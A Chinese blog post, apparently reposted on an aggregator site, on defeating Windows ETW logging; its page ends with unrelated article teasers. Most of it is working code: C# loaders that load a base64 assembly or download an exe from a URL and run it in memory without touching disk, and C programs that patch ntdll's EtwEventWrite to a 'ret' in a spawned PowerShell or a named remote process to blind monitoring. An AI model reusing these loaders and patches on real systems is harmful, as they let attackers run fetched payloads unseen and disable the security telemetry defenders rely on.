浅谈bypass Etw

文章目录

    • c#
    • ExecuteAssembly
    • bypass etw

c#

在这里插入图片描述

loader

一种是通过反射找到指定空间的类中method进行Invoke

另一种是通过EntryPoint.Invoke加载

反射加载

Assembly.Load()是从String或AssemblyName类型加载程序集,可以读取字符串形式的程序集
Assembly.LoadFrom()从指定文件中加载程序集,同时会加载目标程序集所引用和依赖的其他程序集。
Assembly.LoadFile()也是从指定文件中加载程序集,但不会加载目标程序集所引用和依赖的其他程序集。

a.cs

using System;
using System.Diagnostics;
namespace DemoExe
{class Program{static void Main(string[] args){Console.WriteLine("DemoExe Run!!");}}public class Test{public static void TestMethod(){Process p = new Process();p.StartInfo.FileName = "C:\\windows\\system32\\calc.exe";p.Start();}}
}
csc /out:test.exe .\a.cs

create.cs

using System;
namespace Tobase64
{class Program{static void Main(string[] args){byte[] base64Buff = File.ReadAllBytes("E:\\tmp\\c#test\\test.exe");string base64string = Convert.ToBase64String(base64Buff);Console.WriteLine(base64string);}}
}

loader.cs

using System;
using System.Reflection;
namespace LoadExe
{class Program{static void Main(string[] args){string base64string = @"";byte[] Buffer = Convert.FromBase64String(base64string);Assembly assembly = Assembly.Load(Buffer);Type type = assembly.GetType("DemoExe.Test");MethodInfo method = type.GetMethod("TestMethod");Object obj = assembly.CreateInstance(method.Name);method.Invoke(obj, null);}}
}

远程拉取

using System;
using System.Net;
using System.Reflection;namespace demo1
{class Program{static void Main(string[] args){string fileDownloadurl = null;string filedownloadtype = null;byte[] filebuffer = null;try{fileDownloadurl = args[1];filedownloadtype = args[0];}catch{Console.WriteLine("\n加载远程exe文件到内存执行:sflcsharp.exe -b exe文件的url");Console.WriteLine("\n加载远程base64密文文件到内存执行:为sflcsharp.exe -b64 b64文件的url");Environment.Exit(0);}if (filedownloadtype == "-b"){filebuffer = Downloadbinarypefilebyhttp(fileDownloadurl);}if (filedownloadtype == "-b64"){filebuffer = downloadbase64(fileDownloadurl);}if (filebuffer != null){Console.WriteLine("正在将下载下来的程序加载到当前用户的内存中");Assembly assemblyinstance = Assembly.Load(filebuffer);  //将下载下来的程序加载到当前用户的内存中Console.WriteLine("正在寻找程序入口点并执行程序");assemblyinstance.EntryPoint.Invoke(null, new object[] { null }); //找到程序的入口点并执行程序Console.WriteLine("\n程序执行完毕");}}public static byte[] Downloadbinarypefilebyhttp(string url){Console.WriteLine("\n创建WebClient类用来下载PE文件");WebClient downloadwebclient = new WebClient();  //这个类可以从指定url上下载或者上传数据Console.WriteLine("\n下载文件后自动保存为byte[]格式\n");byte[] test = downloadwebclient.DownloadData(url);return test;}public static byte[] downloadbase64(string url){Console.WriteLine("\n创建WebClient类用来下载base64密文文件,下载到的数据按照字符串格式保存在内存");WebClient downloadwebclient = new WebClient();  //这个类可以从指定url上下载或者上传数据string b64 = downloadwebclient.DownloadString(url);Console.WriteLine("将base64字符串转换为byte[]类型的数据");byte[] test = Convert.FromBase64String(b64);return test;}}
}

ExecuteAssembly

简介

功能通过在目标机器的内存中加载.NET程序集并执行它,而不需要将程序集写入到磁盘,避免在磁盘上留下可疑的文件,从而绕过某些基于文件扫描的防御手段。

过程

1 加载CLR环境 2 获取程序域 3 装载程序集 4 执行程序集

bypass etw

程序集被调用的一些信息被记录,需要bypass etw

在这里插入图片描述

Patch EtwEventWrite Function

Patch EtwEventWrite或者EtwEventWriteFull

xdb分析略,修改ntdll中EtwEventWrite直接ret(c3),重新获取Etw则会返回超时

在这里插入图片描述

c语言实现

#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
void bypassetw()
{STARTUPINFOA si = { 0 };PROCESS_INFORMATION pi = { 0 };si.cb = sizeof(si);CreateProcessA(NULL, (LPSTR)"powershell -NoExit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);unsigned char EtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };HMODULE hNtdll = GetModuleHandleA("ntdll.dll");LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)EtwEventWrite);DWORD oldProtect,ool=0;char patch = 0xc3;VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, &ool);ResumeThread(pi.hThread);CloseHandle(pi.hProcess);CloseHandle(pi.hThread);FreeLibrary(hNtdll);
}
int main() {bypassetw();return 0;
}

远程指定进程bypass,将之前写的远程进程注入稍微修改即可

#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>
typedef FARPROC
(WINAPI* pGetProcAddress)(_In_ HMODULE hModule,_In_ LPCSTR lpProcName);
typedef HMODULE
(WINAPI* pLoadLibraryA)(_In_ LPCSTR lpLibFileName);BOOL mydllinject(DWORD pid);
DWORD fun(LPCTSTR ProcessName);
int main()
{DWORD pid = 0;pid = fun(L"cc.exe");printf("pid:%u\n", pid);mydllinject(pid);system("pause");return 0;
}BOOL mydllinject(DWORD pid)
{HMODULE hMod = GetModuleHandle(L"kernel32.dll");pGetProcAddress pThreadProc = (pGetProcAddress)GetProcAddress(hMod, "LoadLibraryW");HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (hProcess == NULL){return FALSE;}char patch = 0xc3;unsigned char EtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };HMODULE hNtdll = GetModuleHandleA("ntdll.dll");LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)EtwEventWrite);DWORD oldProtect, ool = 0;printf("%x\n", pEtwEventWrite);VirtualProtectEx(hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);WriteProcessMemory(hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);VirtualProtectEx(hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, &ool);
}
DWORD fun(LPCTSTR ProcessName)
{HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hProceessnap == INVALID_HANDLE_VALUE){printf_s("创建进行快照失败\n");return 0;}else{PROCESSENTRY32 pe32;pe32.dwSize = sizeof(pe32);BOOL hProcess = Process32First(hProceessnap, &pe32);while (hProcess){if (_wcsicmp(ProcessName, pe32.szExeFile) == 0){return pe32.th32ProcessID;}hProcess = Process32Next(hProceessnap, &pe32);}}CloseHandle(hProceessnap);return 0;
}

效果展示,成功致盲Etw对cc.exe的监测

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/458568.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Java (spring-boot)的酒店管理系统

一、项目介绍 本系统的使用者一共有酒店管理员和用户这两种角色: 1、酒店管理员功能&#xff1a; 登录&#xff1a;管理员可以通过登录功能进入系统&#xff0c;确保只有授权人员可以访问系统。 用户管理&#xff1a;管理员可以添加、编辑和删除酒店的用户&#xff0c;包括前…

Linux下centos操作系统安装Mysql8.0过程及踩坑填补

我自己有一台服务器&#xff0c;之前安装的是MySQL5.5&#xff0c;现在我想升级为MySQL8.0&#xff0c;于是我干了以下操作,既有踩坑又有干货&#xff1a; 1.先卸载MySQL&#xff1b; 2.删除跟MySQL相关文件&#xff1b; 3.安装新的MySQL8.0版本&#xff08;这里踩了一个坑&…

多线程JUC:多线程的实现和常用成员方法(守护、礼让、插入线程)

&#x1f468;‍&#x1f393;作者简介&#xff1a;一位大四、研0学生&#xff0c;正在努力准备大四暑假的实习 &#x1f30c;上期文章&#xff1a;首期文章 &#x1f4da;订阅专栏&#xff1a;多线程&JUC 希望文章对你们有所帮助 JUC的学习也是需要一些计算机、操作系统的…

Redis发布订阅及事务管理

目录 1.1 发布订阅 1.1.1 什么是发布订阅 1.1.2 常用命令 1.1.3 示例演示 1.2 事务管理 1.2.1 事务定义 1.2.2 Multi、Exec、discard 1.2.3 示例 1.2.4 事务的错误处理 1.2.5 事务的冲突问题 1.2.5.1 事务场景 1.2.5.2 悲观锁 1.2.5.3 乐观锁 1.2.5.4 事务解决冲…

详解C++类和对象(下)完结篇

文章目录 写在前面1. 进一步认识构造函数1.1 初始化列表1.2 初始化列表的特性1.3 explicit关键字 2. static成员变量和static成员函数2.1 static成员的概念2.2 static成员的特性 3. 友元3.1 友元函数3.1 友元类 4. 内部类5.匿名对象 写在前面 本篇文章详细介绍了C类和对象中几…

vector类的模拟实现

实现基本的vector框架 参考的是STL的一些源码&#xff0c;实现的vector也是看起来像是一个简略版的&#xff0c;但是看完能对vector这个类一些接口函数更好的认识。 我们写写成员变量&#xff0c;先来看看STL的成元变量是那些 namespace tjl {template<class T>class …

作业2.7

C基础补习测试题 一、选择题&#xff08;每题2分&#xff0c;共 50 分&#xff09; C语言中&#xff0c;运算对象必须是整型数的运算符是 A 。 A、% B、/ C、%和/ D、* 若有关系x≥y≥z,应使用 A C语言表达式。 A、(x>y)&&(y>z)…

python环境配置(操作简单)

文章目录 下载文件链接过时请私信我 安装python3.9.0下载安装步骤安装python3.9.0步骤 安装pyCharm2023.3.3下载链接安装方法 激活激活链接激活方法 创建项目出现问题 下载文件 链接过时请私信我 链接&#xff1a;https://pan.baidu.com/s/1ORuhvSbBoTxeQfnYhOuiFA?pwd3oan …

Java应用中各类环境变量的优先级及最佳实践

1.引言 Java应用程序的开发和部署过程中&#xff0c;合理利用各类环境变量是关键之一。不同类型的环境变量&#xff0c;如系统环境变量、进程级环境变量、Java启动参数设置的系统属性以及Spring Boot配置文件中的环境变量&#xff0c;它们之间存在优先级差异。 深入理解这些环…

第1章 认识Flask

学习目标 了解Flask框架&#xff0c;能够说出Flask框架的发展史以及特点 熟悉隔离Python环境的创建方式&#xff0c;能够独立在计算机上创建隔离的Python环境 掌握Flask的安装方式&#xff0c;能够独立在计算机上安装Flask框架 掌握PyCharm配置隔离环境的方式&#xff0c;能…

27/100两数相除(位移todo)

题目 27/100两数相除 给你两个整数&#xff0c;被除数 dividend 和除数 divisor。将两数相除&#xff0c;要求 不使用 乘法、除法和取余运算。 整数除法应该向零截断&#xff0c;也就是截去&#xff08;truncate&#xff09;其小数部分。例如&#xff0c;8.345 将被截断为 8 …

【新书推荐】6.4节 标志寄存器

本节内容&#xff1a;8086 CPU内的标志寄存器FLAG为16位寄存器。本节我们将讲述FLAG寄存器各个标志位的使用方法。 ■标志寄存器的标志位&#xff1a;标志位可以分为6个状态标志位和3个控制标志位&#xff0c;此外还有7个保留的标志位。状态标志位用来记录算术逻辑运算的结果。…